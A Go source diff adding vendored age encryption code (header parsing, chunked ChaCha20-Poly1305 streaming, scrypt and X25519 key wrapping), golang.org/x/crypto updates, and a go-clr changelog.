func Parse(input io.Reader) (*Header, io.Reader, error) {
h := &Header{}
rr := bufio.NewReader(input)
line, err := rr.ReadString('\n')
if err != nil {
return nil, nil, errorf("failed to read intro: %w", err)
}
if line != intro {
return nil, nil, errorf("unexpected intro: %q", line)
}
sr := NewStanzaReader(rr)
for {
peek, err := rr.Peek(len(footerPrefix))
if err != nil {
return nil, nil, errorf("failed to read header: %w", err)
}
if bytes.Equal(peek, footerPrefix) {
line, err := rr.ReadBytes('\n')
if err != nil {
return nil, nil, fmt.Errorf("failed to read header: %w", err)
}
prefix, args := splitArgs(line)
if prefix != string(footerPrefix) || len(args) != 1 {
return nil, nil, errorf("malformed closing line: %q", line)
}
h.MAC, err = DecodeString(args[0])
if err != nil || len(h.MAC) != 32 {
return nil, nil, errorf("malformed closing line %q: %v", line, err)
}
break
}
s, err := sr.ReadStanza()
if err != nil {
return nil, nil, fmt.Errorf("failed to parse header: %w", err)
}
h.Recipients = append(h.Recipients, s)
}
// If input is a bufio.Reader, rr might be equal to input because
// bufio.NewReader short-circuits. In this case we can just return it (and
// we would end up reading the buffer twice if we prepended the peek below).
if rr == input {
return h, rr, nil
}
// Otherwise, unwind the bufio overread and return the unbuffered input.
buf, err := rr.Peek(rr.Buffered())
if err != nil {
return nil, nil, errorf("internal error: %v", err)
}
payload := io.MultiReader(bytes.NewReader(buf), input)
return h, payload, nil
}
func splitArgs(line []byte) (string, []string) {
l := strings.TrimSuffix(string(line), "\n")
parts := strings.Split(l, " ")
return parts[0], parts[1:]
}
func isValidString(s string) bool {
if len(s) == 0 {
return false
}
for _, c := range s {
if c < 33 || c > 126 {
return false
}
}
return true
}
+231
View File
@@ -0,0 +1,231 @@
// Copyright 2019 The age Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package stream implements a variant of the STREAM chunked encryption scheme.
package stream
import (
"crypto/cipher"
"errors"
"fmt"
"io"
"golang.org/x/crypto/chacha20poly1305"
"golang.org/x/crypto/poly1305"
)
const ChunkSize = 64 * 1024
type Reader struct {
a cipher.AEAD
src io.Reader
unread []byte // decrypted but unread data, backed by buf
buf [encChunkSize]byte
err error
nonce [chacha20poly1305.NonceSize]byte
}
const (
encChunkSize = ChunkSize + poly1305.TagSize
lastChunkFlag = 0x01
)
func NewReader(key []byte, src io.Reader) (*Reader, error) {
aead, err := chacha20poly1305.New(key)
if err != nil {
return nil, err
}
return &Reader{
a: aead,
src: src,
}, nil
}
func (r *Reader) Read(p []byte) (int, error) {
if len(r.unread) > 0 {
n := copy(p, r.unread)
r.unread = r.unread[n:]
return n, nil
}
if r.err != nil {
return 0, r.err
}
if len(p) == 0 {
return 0, nil
}
last, err := r.readChunk()
if err != nil {
r.err = err
return 0, err
}
n := copy(p, r.unread)
r.unread = r.unread[n:]
if last {
// Ensure there is an EOF after the last chunk as expected. In other
// words, check for trailing data after a full-length final chunk.
// Hopefully, the underlying reader supports returning EOF even if it
// had previously returned an EOF to ReadFull.
if _, err := r.src.Read(make([]byte, 1)); err == nil {
r.err = errors.New("trailing data after end of encrypted file")
} else if err != io.EOF {
r.err = fmt.Errorf("non-EOF error reading after end of encrypted file: %w", err)
} else {
r.err = io.EOF
}
}
return n, nil
}
// readChunk reads the next chunk of ciphertext from r.src and makes it available
// in r.unread. last is true if the chunk was marked as the end of the message.
// readChunk must not be called again after returning a last chunk or an error.
func (r *Reader) readChunk() (last bool, err error) {
if len(r.unread) != 0 {
panic("stream: internal error: readChunk called with dirty buffer")
}
in := r.buf[:]
n, err := io.ReadFull(r.src, in)
switch {
case err == io.EOF:
// A message can't end without a marked chunk. This message is truncated.
return false, io.ErrUnexpectedEOF
case err == io.ErrUnexpectedEOF:
// The last chunk can be short, but not empty unless it's the first and
// only chunk.
if !nonceIsZero(&r.nonce) && n == r.a.Overhead() {
return false, errors.New("last chunk is empty, try age v1.0.0, and please consider reporting this")
}
in = in[:n]
last = true
setLastChunkFlag(&r.nonce)
case err != nil:
return false, err
}
outBuf := make([]byte, 0, ChunkSize)
out, err := r.a.Open(outBuf, r.nonce[:], in, nil)
if err != nil && !last {
// Check if this was a full-length final chunk.
last = true
setLastChunkFlag(&r.nonce)
out, err = r.a.Open(outBuf, r.nonce[:], in, nil)
}
if err != nil {
return false, errors.New("failed to decrypt and authenticate payload chunk")
}
incNonce(&r.nonce)
r.unread = r.buf[:copy(r.buf[:], out)]
return last, nil
}
func incNonce(nonce *[chacha20poly1305.NonceSize]byte) {
for i := len(nonce) - 2; i >= 0; i-- {
nonce[i]++
if nonce[i] != 0 {
break
} else if i == 0 {
// The counter is 88 bits, this is unreachable.
panic("stream: chunk counter wrapped around")
}
}
}
func setLastChunkFlag(nonce *[chacha20poly1305.NonceSize]byte) {
nonce[len(nonce)-1] = lastChunkFlag
}
func nonceIsZero(nonce *[chacha20poly1305.NonceSize]byte) bool {
return *nonce == [chacha20poly1305.NonceSize]byte{}
}
type Writer struct {
a cipher.AEAD
dst io.Writer
unwritten []byte // backed by buf
buf [encChunkSize]byte
nonce [chacha20poly1305.NonceSize]byte
err error
}
func NewWriter(key []byte, dst io.Writer) (*Writer, error) {
aead, err := chacha20poly1305.New(key)
if err != nil {
return nil, err
}
w := &Writer{
a: aead,
dst: dst,
}
w.unwritten = w.buf[:0]
return w, nil
}
func (w *Writer) Write(p []byte) (n int, err error) {
// TODO: consider refactoring with a bytes.Buffer.
if w.err != nil {
return 0, w.err
}
if len(p) == 0 {
return 0, nil
}
total := len(p)
for len(p) > 0 {
freeBuf := w.buf[len(w.unwritten):ChunkSize]
n := copy(freeBuf, p)
p = p[n:]
w.unwritten = w.unwritten[:len(w.unwritten)+n]
if len(w.unwritten) == ChunkSize && len(p) > 0 {
if err := w.flushChunk(notLastChunk); err != nil {
w.err = err
return 0, err
}
}
}
return total, nil
}
// Close flushes the last chunk. It does not close the underlying Writer.
func (w *Writer) Close() error {
if w.err != nil {
return w.err
}
w.err = w.flushChunk(lastChunk)
if w.err != nil {
return w.err
}
w.err = errors.New("stream.Writer is already closed")
return nil
}
const (
lastChunk = true
notLastChunk = false
)
func (w *Writer) flushChunk(last bool) error {
if !last && len(w.unwritten) != ChunkSize {
panic("stream: internal error: flush called with partial chunk")
}
if last {
setLastChunkFlag(&w.nonce)
}
buf := w.a.Seal(w.buf[:0], w.nonce[:], w.unwritten, nil)
_, err := w.dst.Write(buf)
w.unwritten = w.buf[:0]
incNonce(&w.nonce)
return err
}
+84
View File
@@ -0,0 +1,84 @@
// Copyright 2021 The age Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package age
import (
"bufio"
"fmt"
"io"
"strings"
)
// ParseIdentities parses a file with one or more private key encodings, one per
// line. Empty lines and lines starting with "#" are ignored.
//
// This is the same syntax as the private key files accepted by the CLI, except
// the CLI also accepts SSH private keys, which are not recommended for the
// average application.
//
// Currently, all returned values are of type *X25519Identity, but different
// types might be returned in the future.
func ParseIdentities(f io.Reader) ([]Identity, error) {
const privateKeySizeLimit = 1 << 24 // 16 MiB
var ids []Identity
scanner := bufio.NewScanner(io.LimitReader(f, privateKeySizeLimit))
var n int
for scanner.Scan() {
n++
line := scanner.Text()
if strings.HasPrefix(line, "#") || line == "" {
continue
}
i, err := ParseX25519Identity(line)
if err != nil {
return nil, fmt.Errorf("error at line %d: %v", n, err)
}
ids = append(ids, i)
}
if err := scanner.Err(); err != nil {
return nil, fmt.Errorf("failed to read secret keys file: %v", err)
}
if len(ids) == 0 {
return nil, fmt.Errorf("no secret keys found")
}
return ids, nil
}
// ParseRecipients parses a file with one or more public key encodings, one per
// line. Empty lines and lines starting with "#" are ignored.
//
// This is the same syntax as the recipients files accepted by the CLI, except
// the CLI also accepts SSH recipients, which are not recommended for the
// average application.
//
// Currently, all returned values are of type *X25519Recipient, but different
// types might be returned in the future.
func ParseRecipients(f io.Reader) ([]Recipient, error) {
const recipientFileSizeLimit = 1 << 24 // 16 MiB
var recs []Recipient
scanner := bufio.NewScanner(io.LimitReader(f, recipientFileSizeLimit))
var n int
for scanner.Scan() {
n++
line := scanner.Text()
if strings.HasPrefix(line, "#") || line == "" {
continue
}
r, err := ParseX25519Recipient(line)
if err != nil {
// Hide the error since it might unintentionally leak the contents
// of confidential files.
return nil, fmt.Errorf("malformed recipient at line %d", n)
}
recs = append(recs, r)
}
if err := scanner.Err(); err != nil {
return nil, fmt.Errorf("failed to read recipients file: %v", err)
}
if len(recs) == 0 {
return nil, fmt.Errorf("no recipients found")
}
return recs, nil
}
+72
View File
@@ -0,0 +1,72 @@
// Copyright 2019 The age Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package age
import (
"crypto/hmac"
"crypto/sha256"
"errors"
"io"
"filippo.io/age/internal/format"
"golang.org/x/crypto/chacha20poly1305"
"golang.org/x/crypto/hkdf"
)
// aeadEncrypt encrypts a message with a one-time key.
func aeadEncrypt(key, plaintext []byte) ([]byte, error) {
aead, err := chacha20poly1305.New(key)
if err != nil {
return nil, err
}
// The nonce is fixed because this function is only used in places where the
// spec guarantees each key is only used once (by deriving it from values
// that include fresh randomness), allowing us to save the overhead.
// For the code that encrypts the actual payload, look at the
// filippo.io/age/internal/stream package.
nonce := make([]byte, chacha20poly1305.NonceSize)
return aead.Seal(nil, nonce, plaintext, nil), nil
}
var errIncorrectCiphertextSize = errors.New("encrypted value has unexpected length")
// aeadDecrypt decrypts a message of an expected fixed size.
//
// The message size is limited to mitigate multi-key attacks, where a ciphertext
// can be crafted that decrypts successfully under multiple keys. Short
// ciphertexts can only target two keys, which has limited impact.
func aeadDecrypt(key []byte, size int, ciphertext []byte) ([]byte, error) {
aead, err := chacha20poly1305.New(key)
if err != nil {
return nil, err
}
if len(ciphertext) != size+aead.Overhead() {
return nil, errIncorrectCiphertextSize
}
nonce := make([]byte, chacha20poly1305.NonceSize)
return aead.Open(nil, nonce, ciphertext, nil)
}
func headerMAC(fileKey []byte, hdr *format.Header) ([]byte, error) {
h := hkdf.New(sha256.New, fileKey, nil, []byte("header"))
hmacKey := make([]byte, 32)
if _, err := io.ReadFull(h, hmacKey); err != nil {
return nil, err
}
hh := hmac.New(sha256.New, hmacKey)
if err := hdr.MarshalWithoutMAC(hh); err != nil {
return nil, err
}
return hh.Sum(nil), nil
}
func streamKey(fileKey, nonce []byte) []byte {
h := hkdf.New(sha256.New, fileKey, nonce, []byte("payload"))
streamKey := make([]byte, chacha20poly1305.KeySize)
if _, err := io.ReadFull(h, streamKey); err != nil {
panic("age: internal error: failed to read from HKDF: " + err.Error())
}
return streamKey
}
+182
View File
@@ -0,0 +1,182 @@
// Copyright 2019 The age Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package age
import (
"crypto/rand"
"errors"
"fmt"
"regexp"
"strconv"
"filippo.io/age/internal/format"
"golang.org/x/crypto/chacha20poly1305"
"golang.org/x/crypto/scrypt"
)
const scryptLabel = "age-encryption.org/v1/scrypt"
// ScryptRecipient is a password-based recipient. Anyone with the password can
// decrypt the message.
//
// If a ScryptRecipient is used, it must be the only recipient for the file: it
// can't be mixed with other recipient types and can't be used multiple times
// for the same file.
//
// Its use is not recommended for automated systems, which should prefer
// X25519Recipient.
type ScryptRecipient struct {
password []byte
workFactor int
}
var _ Recipient = &ScryptRecipient{}
// NewScryptRecipient returns a new ScryptRecipient with the provided password.
func NewScryptRecipient(password string) (*ScryptRecipient, error) {
if len(password) == 0 {
return nil, errors.New("passphrase can't be empty")
}
r := &ScryptRecipient{
password: []byte(password),
// TODO: automatically scale this to 1s (with a min) in the CLI.
workFactor: 18, // 1s on a modern machine
}
return r, nil
}
// SetWorkFactor sets the scrypt work factor to 2^logN.
// It must be called before Wrap.
//
// If SetWorkFactor is not called, a reasonable default is used.
func (r *ScryptRecipient) SetWorkFactor(logN int) {
if logN > 30 || logN < 1 {
panic("age: SetWorkFactor called with illegal value")
}
r.workFactor = logN
}
const scryptSaltSize = 16
func (r *ScryptRecipient) Wrap(fileKey []byte) ([]*Stanza, error) {
salt := make([]byte, scryptSaltSize)
if _, err := rand.Read(salt[:]); err != nil {
return nil, err
}
logN := r.workFactor
l := &Stanza{
Type: "scrypt",
Args: []string{format.EncodeToString(salt), strconv.Itoa(logN)},
}
salt = append([]byte(scryptLabel), salt...)
k, err := scrypt.Key(r.password, salt, 1<<logN, 8, 1, chacha20poly1305.KeySize)
if err != nil {
return nil, fmt.Errorf("failed to generate scrypt hash: %v", err)
}
wrappedKey, err := aeadEncrypt(k, fileKey)
if err != nil {
return nil, err
}
l.Body = wrappedKey
return []*Stanza{l}, nil
}
// ScryptIdentity is a password-based identity.
type ScryptIdentity struct {
password []byte
maxWorkFactor int
}
var _ Identity = &ScryptIdentity{}
// NewScryptIdentity returns a new ScryptIdentity with the provided password.
func NewScryptIdentity(password string) (*ScryptIdentity, error) {
if len(password) == 0 {
return nil, errors.New("passphrase can't be empty")
}
i := &ScryptIdentity{
password: []byte(password),
maxWorkFactor: 22, // 15s on a modern machine
}
return i, nil
}
// SetMaxWorkFactor sets the maximum accepted scrypt work factor to 2^logN.
// It must be called before Unwrap.
//
// This caps the amount of work that Decrypt might have to do to process
// received files. If SetMaxWorkFactor is not called, a fairly high default is
// used, which might not be suitable for systems processing untrusted files.
func (i *ScryptIdentity) SetMaxWorkFactor(logN int) {
if logN > 30 || logN < 1 {
panic("age: SetMaxWorkFactor called with illegal value")
}
i.maxWorkFactor = logN
}
func (i *ScryptIdentity) Unwrap(stanzas []*Stanza) ([]byte, error) {
for _, s := range stanzas {
if s.Type == "scrypt" && len(stanzas) != 1 {
return nil, errors.New("an scrypt recipient must be the only one")
}
}
return multiUnwrap(i.unwrap, stanzas)
}
var digitsRe = regexp.MustCompile(`^[1-9][0-9]*$`)
func (i *ScryptIdentity) unwrap(block *Stanza) ([]byte, error) {
if block.Type != "scrypt" {
return nil, ErrIncorrectIdentity
}
if len(block.Args) != 2 {
return nil, errors.New("invalid scrypt recipient block")
}
salt, err := format.DecodeString(block.Args[0])
if err != nil {
return nil, fmt.Errorf("failed to parse scrypt salt: %v", err)
}
if len(salt) != scryptSaltSize {
return nil, errors.New("invalid scrypt recipient block")
}
if w := block.Args[1]; !digitsRe.MatchString(w) {
return nil, fmt.Errorf("scrypt work factor encoding invalid: %q", w)
}
logN, err := strconv.Atoi(block.Args[1])
if err != nil {
return nil, fmt.Errorf("failed to parse scrypt work factor: %v", err)
}
if logN > i.maxWorkFactor {
return nil, fmt.Errorf("scrypt work factor too large: %v", logN)
}
if logN <= 0 { // unreachable
return nil, fmt.Errorf("invalid scrypt work factor: %v", logN)
}
salt = append([]byte(scryptLabel), salt...)
k, err := scrypt.Key(i.password, salt, 1<<logN, 8, 1, chacha20poly1305.KeySize)
if err != nil { // unreachable
return nil, fmt.Errorf("failed to generate scrypt hash: %v", err)
}
// This AEAD is not robust, so an attacker could craft a message that
// decrypts under two different keys (meaning two different passphrases) and
// then use an error side-channel in an online decryption oracle to learn if
// either key is correct. This is deemed acceptable because the use case (an
// online decryption oracle) is not recommended, and the security loss is
// only one bit. This also does not bypass any scrypt work, although that work
// can be precomputed in an online oracle scenario.
fileKey, err := aeadDecrypt(k, fileKeySize, block.Body)
if err == errIncorrectCiphertextSize {
return nil, errors.New("invalid scrypt recipient block: incorrect file key size")
} else if err != nil {
return nil, ErrIncorrectIdentity
}
return fileKey, nil
}
+208
View File
@@ -0,0 +1,208 @@
// Copyright 2019 The age Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package age
import (
"crypto/rand"
"crypto/sha256"
"errors"
"fmt"
"io"
"strings"
"filippo.io/age/internal/bech32"
"filippo.io/age/internal/format"
"golang.org/x/crypto/chacha20poly1305"
"golang.org/x/crypto/curve25519"
"golang.org/x/crypto/hkdf"
)
const x25519Label = "age-encryption.org/v1/X25519"
// X25519Recipient is the standard age public key. Messages encrypted to this
// recipient can be decrypted with the corresponding X25519Identity.
//
// This recipient is anonymous, in the sense that an attacker can't tell from
// the message alone if it is encrypted to a certain recipient.
type X25519Recipient struct {
theirPublicKey []byte
}
var _ Recipient = &X25519Recipient{}
// newX25519RecipientFromPoint returns a new X25519Recipient from a raw Curve25519 point.
func newX25519RecipientFromPoint(publicKey []byte) (*X25519Recipient, error) {
if len(publicKey) != curve25519.PointSize {
return nil, errors.New("invalid X25519 public key")
}
r := &X25519Recipient{
theirPublicKey: make([]byte, curve25519.PointSize),
}
copy(r.theirPublicKey, publicKey)
return r, nil
}
// ParseX25519Recipient returns a new X25519Recipient from a Bech32 public key
// encoding with the "age1" prefix.
func ParseX25519Recipient(s string) (*X25519Recipient, error) {
t, k, err := bech32.Decode(s)
if err != nil {
return nil, fmt.Errorf("malformed recipient %q: %v", s, err)
}
if t != "age" {
return nil, fmt.Errorf("malformed recipient %q: invalid type %q", s, t)
}
r, err := newX25519RecipientFromPoint(k)
if err != nil {
return nil, fmt.Errorf("malformed recipient %q: %v", s, err)
}
return r, nil
}
func (r *X25519Recipient) Wrap(fileKey []byte) ([]*Stanza, error) {
ephemeral := make([]byte, curve25519.ScalarSize)
if _, err := rand.Read(ephemeral); err != nil {
return nil, err
}
ourPublicKey, err := curve25519.X25519(ephemeral, curve25519.Basepoint)
if err != nil {
return nil, err
}
sharedSecret, err := curve25519.X25519(ephemeral, r.theirPublicKey)
if err != nil {
return nil, err
}
l := &Stanza{
Type: "X25519",
Args: []string{format.EncodeToString(ourPublicKey)},
}
salt := make([]byte, 0, len(ourPublicKey)+len(r.theirPublicKey))
salt = append(salt, ourPublicKey...)
salt = append(salt, r.theirPublicKey...)
h := hkdf.New(sha256.New, sharedSecret, salt, []byte(x25519Label))
wrappingKey := make([]byte, chacha20poly1305.KeySize)
if _, err := io.ReadFull(h, wrappingKey); err != nil {
return nil, err
}
wrappedKey, err := aeadEncrypt(wrappingKey, fileKey)
if err != nil {
return nil, err
}
l.Body = wrappedKey
return []*Stanza{l}, nil
}
// String returns the Bech32 public key encoding of r.
func (r *X25519Recipient) String() string {
s, _ := bech32.Encode("age", r.theirPublicKey)
return s
}
// X25519Identity is the standard age private key, which can decrypt messages
// encrypted to the corresponding X25519Recipient.
type X25519Identity struct {
secretKey, ourPublicKey []byte
}
var _ Identity = &X25519Identity{}
// newX25519IdentityFromScalar returns a new X25519Identity from a raw Curve25519 scalar.
func newX25519IdentityFromScalar(secretKey []byte) (*X25519Identity, error) {
if len(secretKey) != curve25519.ScalarSize {
return nil, errors.New("invalid X25519 secret key")
}
i := &X25519Identity{
secretKey: make([]byte, curve25519.ScalarSize),
}
copy(i.secretKey, secretKey)
i.ourPublicKey, _ = curve25519.X25519(i.secretKey, curve25519.Basepoint)
return i, nil
}
// GenerateX25519Identity randomly generates a new X25519Identity.
func GenerateX25519Identity() (*X25519Identity, error) {
secretKey := make([]byte, curve25519.ScalarSize)
if _, err := rand.Read(secretKey); err != nil {
return nil, fmt.Errorf("internal error: %v", err)
}
return newX25519IdentityFromScalar(secretKey)
}
// ParseX25519Identity returns a new X25519Identity from a Bech32 private key
// encoding with the "AGE-SECRET-KEY-1" prefix.
func ParseX25519Identity(s string) (*X25519Identity, error) {
t, k, err := bech32.Decode(s)
if err != nil {
return nil, fmt.Errorf("malformed secret key: %v", err)
}
if t != "AGE-SECRET-KEY-" {
return nil, fmt.Errorf("malformed secret key: unknown type %q", t)
}
r, err := newX25519IdentityFromScalar(k)
if err != nil {
return nil, fmt.Errorf("malformed secret key: %v", err)
}
return r, nil
}
func (i *X25519Identity) Unwrap(stanzas []*Stanza) ([]byte, error) {
return multiUnwrap(i.unwrap, stanzas)
}
func (i *X25519Identity) unwrap(block *Stanza) ([]byte, error) {
if block.Type != "X25519" {
return nil, ErrIncorrectIdentity
}
if len(block.Args) != 1 {
return nil, errors.New("invalid X25519 recipient block")
}
publicKey, err := format.DecodeString(block.Args[0])
if err != nil {
return nil, fmt.Errorf("failed to parse X25519 recipient: %v", err)
}
if len(publicKey) != curve25519.PointSize {
return nil, errors.New("invalid X25519 recipient block")
}
sharedSecret, err := curve25519.X25519(i.secretKey, publicKey)
if err != nil {
return nil, fmt.Errorf("invalid X25519 recipient: %v", err)
}
salt := make([]byte, 0, len(publicKey)+len(i.ourPublicKey))
salt = append(salt, publicKey...)
salt = append(salt, i.ourPublicKey...)
h := hkdf.New(sha256.New, sharedSecret, salt, []byte(x25519Label))
wrappingKey := make([]byte, chacha20poly1305.KeySize)
if _, err := io.ReadFull(h, wrappingKey); err != nil {
return nil, err
}
fileKey, err := aeadDecrypt(wrappingKey, fileKeySize, block.Body)
if err == errIncorrectCiphertextSize {
return nil, errors.New("invalid X25519 recipient block: incorrect file key size")
} else if err != nil {
return nil, ErrIncorrectIdentity
}
return fileKey, nil
}
// Recipient returns the public X25519Recipient value corresponding to i.
func (i *X25519Identity) Recipient() *X25519Recipient {
r := &X25519Recipient{}
r.theirPublicKey = i.ourPublicKey
return r
}
// String returns the Bech32 private key encoding of i.
func (i *X25519Identity) String() string {
s, _ := bech32.Encode("AGE-SECRET-KEY-", i.secretKey)
return strings.ToUpper(s)
}
+38
View File
@@ -0,0 +1,38 @@
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).
## 1.0.3 2022-11-10
## Changed
- Merged [Pull 3](https://github.com/Ne0nd0g/go-clr/pull/3) from @mec07 to return errors instead of exiting the program
### Fixed
- [Issue 4](https://github.com/Ne0nd0g/go-clr/issues/4) - Application's Without A Console Will Not Return Output
## 1.0.2 2022-04-02
### Fixed
- Merged [Pull 2](https://github.com/Ne0nd0g/go-clr/pull/2) from @audibleblink that fixed an error when attempting to
load correctly targeted assemblies through
### Changed
- Upgraded supporting Go modules
## 1.0.1 2021-04-08
- Learned how to correctly use tags and updated import
## 1.0.0 2021-04-08
- Initial tagged version from forked
### Added
- Added buffer to collect redirected STDOUT/STDERR
-3
View File
@@ -1,3 +0,0 @@
# This source code refers to The Go Authors for copyright purposes.
# The master list of authors is in the main Go distribution,
# visible at https://tip.golang.org/AUTHORS.
-3
View File
@@ -1,3 +0,0 @@
# This source code was written by the Go contributors.
# The master list of contributors is in the main Go distribution,
# visible at https://tip.golang.org/CONTRIBUTORS.
+2 -2
View File
@@ -12,7 +12,7 @@ import (
"errors"
"math/bits"
"golang.org/x/crypto/internal/subtle"
"golang.org/x/crypto/internal/alias"
)
const (
@@ -189,7 +189,7 @@ func (s *Cipher) XORKeyStream(dst, src []byte) {
panic("chacha20: output smaller than input")
}
dst = dst[:len(src)]
if subtle.InexactOverlap(dst, src) {
if alias.InexactOverlap(dst, src) {
panic("chacha20: invalid buffer overlap")
}
+1
View File
@@ -15,6 +15,7 @@ const bufSize = 256
// xorKeyStreamVX is an assembly implementation of XORKeyStream. It must only
// be called when the vector facility is available. Implementation in asm_s390x.s.
//
//go:noescape
func xorKeyStreamVX(dst, src []byte, key *[8]uint32, nonce *[3]uint32, counter *uint32)
@@ -10,7 +10,7 @@ package chacha20poly1305
import (
"encoding/binary"
"golang.org/x/crypto/internal/subtle"
"golang.org/x/crypto/internal/alias"
"golang.org/x/sys/cpu"
)
@@ -56,7 +56,7 @@ func (c *chacha20poly1305) seal(dst, nonce, plaintext, additionalData []byte) []
setupState(&state, &c.key, nonce)
ret, out := sliceForAppend(dst, len(plaintext)+16)
if subtle.InexactOverlap(out, plaintext) {
if alias.InexactOverlap(out, plaintext) {
panic("chacha20poly1305: invalid buffer overlap")
}
chacha20Poly1305Seal(out[:], state[:], plaintext, additionalData)
@@ -73,7 +73,7 @@ func (c *chacha20poly1305) open(dst, nonce, ciphertext, additionalData []byte) (
ciphertext = ciphertext[:len(ciphertext)-16]
ret, out := sliceForAppend(dst, len(ciphertext))
if subtle.InexactOverlap(out, ciphertext) {
if alias.InexactOverlap(out, ciphertext) {
panic("chacha20poly1305: invalid buffer overlap")
}
if !chacha20Poly1305Open(out, state[:], ciphertext, additionalData) {
@@ -8,8 +8,8 @@ import (
"encoding/binary"
"golang.org/x/crypto/chacha20"
"golang.org/x/crypto/internal/alias"
"golang.org/x/crypto/internal/poly1305"
"golang.org/x/crypto/internal/subtle"
)
func writeWithPadding(p *poly1305.MAC, b []byte) {
@@ -30,7 +30,7 @@ func writeUint64(p *poly1305.MAC, n int) {
func (c *chacha20poly1305) sealGeneric(dst, nonce, plaintext, additionalData []byte) []byte {
ret, out := sliceForAppend(dst, len(plaintext)+poly1305.TagSize)
ciphertext, tag := out[:len(plaintext)], out[len(plaintext):]
if subtle.InexactOverlap(out, plaintext) {
if alias.InexactOverlap(out, plaintext) {
panic("chacha20poly1305: invalid buffer overlap")
}
@@ -66,7 +66,7 @@ func (c *chacha20poly1305) openGeneric(dst, nonce, ciphertext, additionalData []
writeUint64(p, len(ciphertext))
ret, out := sliceForAppend(dst, len(ciphertext))
if subtle.InexactOverlap(out, ciphertext) {
if alias.InexactOverlap(out, ciphertext) {
panic("chacha20poly1305: invalid buffer overlap")
}
if !p.Verify(tag) {
+5 -4
View File
@@ -9,7 +9,8 @@ package curve25519 // import "golang.org/x/crypto/curve25519"
import (
"crypto/subtle"
"fmt"
"errors"
"strconv"
"golang.org/x/crypto/curve25519/internal/field"
)
@@ -124,10 +125,10 @@ func X25519(scalar, point []byte) ([]byte, error) {
func x25519(dst *[32]byte, scalar, point []byte) ([]byte, error) {
var in [32]byte
if l := len(scalar); l != 32 {
return nil, fmt.Errorf("bad scalar length: %d, expected %d", l, 32)
return nil, errors.New("bad scalar length: " + strconv.Itoa(l) + ", expected 32")
}
if l := len(point); l != 32 {
return nil, fmt.Errorf("bad point length: %d, expected %d", l, 32)
return nil, errors.New("bad point length: " + strconv.Itoa(l) + ", expected 32")
}
copy(in[:], scalar)
if &point[0] == &Basepoint[0] {
@@ -138,7 +139,7 @@ func x25519(dst *[32]byte, scalar, point []byte) ([]byte, error) {
copy(base[:], point)
ScalarMult(dst, &in, &base)
if subtle.ConstantTimeCompare(dst[:], zero[:]) == 1 {
return nil, fmt.Errorf("bad input point: low order point")
return nil, errors.New("bad input point: low order point")
}
}
return dst[:], nil
@@ -1,13 +1,16 @@
// Code generated by command: go run fe_amd64_asm.go -out ../fe_amd64.s -stubs ../fe_amd64.go -pkg field. DO NOT EDIT.
//go:build amd64 && gc && !purego
// +build amd64,gc,!purego
package field
// feMul sets out = a * b. It works like feMulGeneric.
//
//go:noescape
func feMul(out *Element, a *Element, b *Element)
// feSquare sets out = a * a. It works like feSquareGeneric.
//
//go:noescape
func feSquare(out *Element, a *Element)
+93
View File
@@ -0,0 +1,93 @@
// Copyright 2014 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package hkdf implements the HMAC-based Extract-and-Expand Key Derivation
// Function (HKDF) as defined in RFC 5869.
//
// HKDF is a cryptographic key derivation function (KDF) with the goal of
// expanding limited input keying material into one or more cryptographically
// strong secret keys.
package hkdf // import "golang.org/x/crypto/hkdf"
import (
"crypto/hmac"
"errors"
"hash"
"io"
)
// Extract generates a pseudorandom key for use with Expand from an input secret
// and an optional independent salt.
//
// Only use this function if you need to reuse the extracted key with multiple
// Expand invocations and different context values. Most common scenarios,
// including the generation of multiple keys, should use New instead.
func Extract(hash func() hash.Hash, secret, salt []byte) []byte {
if salt == nil {
salt = make([]byte, hash().Size())
}
extractor := hmac.New(hash, salt)
extractor.Write(secret)
return extractor.Sum(nil)
}
type hkdf struct {
expander hash.Hash
size int
info []byte
counter byte
prev []byte
buf []byte
}
func (f *hkdf) Read(p []byte) (int, error) {
// Check whether enough data can be generated
need := len(p)
remains := len(f.buf) + int(255-f.counter+1)*f.size
if remains < need {
return 0, errors.New("hkdf: entropy limit reached")
}
// Read any leftover from the buffer
n := copy(p, f.buf)
p = p[n:]
// Fill the rest of the buffer
for len(p) > 0 {
f.expander.Reset()
f.expander.Write(f.prev)
f.expander.Write(f.info)
f.expander.Write([]byte{f.counter})
f.prev = f.expander.Sum(f.prev[:0])
f.counter++
// Copy the new batch into p
f.buf = f.prev
n = copy(p, f.buf)
p = p[n:]
}
// Save leftovers for next run
f.buf = f.buf[n:]
return need, nil
}
// Expand returns a Reader, from which keys can be read, using the given
// pseudorandom key and optional context info, skipping the extraction step.
//
// The pseudorandomKey should have been generated by Extract, or be a uniformly
// random or pseudorandom cryptographically strong key. See RFC 5869, Section
// 3.3. Most common scenarios will want to use New instead.
func Expand(hash func() hash.Hash, pseudorandomKey, info []byte) io.Reader {
expander := hmac.New(hash, pseudorandomKey)
return &hkdf{expander, expander.Size(), info, 1, nil, nil}
}
// New returns a Reader, from which keys can be read, using the given hash,
// secret, salt and context info. Salt and info can be nil.
func New(hash func() hash.Hash, secret, salt, info []byte) io.Reader {
prk := Extract(hash, secret, salt)
return Expand(hash, prk, info)
}
@@ -5,9 +5,8 @@
//go:build !purego
// +build !purego
// Package subtle implements functions that are often useful in cryptographic
// code but require careful thought to use correctly.
package subtle // import "golang.org/x/crypto/internal/subtle"
// Package alias implements memory aliasing tests.
package alias
import "unsafe"
@@ -5,9 +5,8 @@
//go:build purego
// +build purego
// Package subtle implements functions that are often useful in cryptographic
// code but require careful thought to use correctly.
package subtle // import "golang.org/x/crypto/internal/subtle"
// Package alias implements memory aliasing tests.
package alias
// This is the Google App Engine standard variant based on reflect
// because the unsafe package and cgo are disallowed.
+2 -3
View File
@@ -136,7 +136,7 @@ func shiftRightBy2(a uint128) uint128 {
// updateGeneric absorbs msg into the state.h accumulator. For each chunk m of
// 128 bits of message, it computes
//
// h₊ = (h + m) * r mod 2¹³⁰ - 5
